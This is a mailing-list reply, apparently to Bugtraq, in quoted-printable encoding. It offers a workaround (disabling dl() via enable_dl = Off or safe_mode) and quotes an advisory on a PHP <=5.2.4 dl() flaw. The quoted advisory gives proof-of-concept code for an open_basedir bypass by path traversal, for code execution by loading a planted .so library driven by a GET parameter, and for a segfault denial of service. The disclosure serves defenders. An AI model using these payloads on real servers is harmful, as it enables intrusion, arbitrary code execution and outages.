workaround for open_basedir bypass:
turn off the dl() function by
enable_dl =3D Off
or just enable the safe_mode (which will do it for you)
>-----P=C3=B4vodn=C3=A1 spr=C3=A1va-----
>Od: [mailto:laurent=2Egaffie@gmail=2Ecom]
>Komu: bugtraq@securityfocus=2Ecom
>Predmet: PHP <=3D5=2E2=2E4 open_basedir bypass & code exec & denial of=
service
>
>
>Application: PHP <=3D5=2E2=2E4
>Web Site: http://php=2Enet
>Platform: unix
>Bug: open_basedir bypass & code exec & denial of service/*some people =
call this as a buffer overflow , but it's a denial of service=2E*/
>special condition: default php-memory-limit
>-------------------------------------------------------
>
>1) Introduction
>2) Bug
>3) Proof of concept
>4) Greets
>5) Credits
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>1) Introduction
>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
>
>"PHP is a widely-used general-purpose scripting language that
>is especially suited for Web development and can be embedded into HTML=
=2E"
>
>=3D=3D=3D=3D=3D=3D
>2) Bug
>=3D=3D=3D=3D=3D=3D
>
>open_basedir bypass & code exec & denial of service
>http://ca=2Ephp=2Enet/manual/fr/function=2Edl=2Ephp
>=3D=3D=3D=3D=3D
>3)Proof of concept
>=3D=3D=3D=3D=3D
>/*
>debian:~# php -v
>PHP 5=2E2=2E4 (cli) (built: Aug 31 2007 16:39:15)
>Copyright (c) 1997-2007 The PHP Group
>Zend Engine v2=2E2=2E0, Copyright (c) 1998-2007 Zend Technologies
>*/
>
>
>Proof of concept example :
>/*enable by default in php=2Eini for php 5=2E2=2Ex */
>
><?php
>dl("=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=
=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/etc/passwd")
>output --->
>Warning: dl() [function=2Edl]: Unable to load dynamic library '=2E/=2E=
=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/etc/passwd'=
- =2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/e=
tc/passwd: invalid ELF header in /usr/local/apache2/htdocs/3=2Ephp on l=
ine 2
>
>ya right =2E=2E=2E /etc/passwd dont have any ELF header =2E
>but we agree that it's not checked in anyway by open_basedir=2E
>fine then bypassed =2E
>then :
><?php
>dl("=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E/=2E=2E=
/=2E=2E/=2E=2E/home/myuser/www//my_powning_lib/pwned=2Eso");
>$a =3D powningfunction($_GET['lets_exec_for_fun']);
>print_r($a);
>?>
>
>denial of service :
>debian:/home/mwoa# php -r'dl(str_repeat("0",27999991));'
>Erreur de segmentation
>debian:/home/lorenzo#
>
>=3D=3D=3D=3D=3D=3D=3D=3D
>4)Greets
>=3D=3D=3D=3D=3D=3D=3D=3D
>Ivanlef0u,Deimos,Benji,Berga,Soh,and everyones from worldnet: #futurez=
one & #nibbles
>
>=3D=3D=3D=3D=3D
>5)Credits
>=3D=3D=3D=3D=3D
>
>laurent gaffii
>laurent=2Egaffii@gmail=2Ecom
>secorizon coming soon !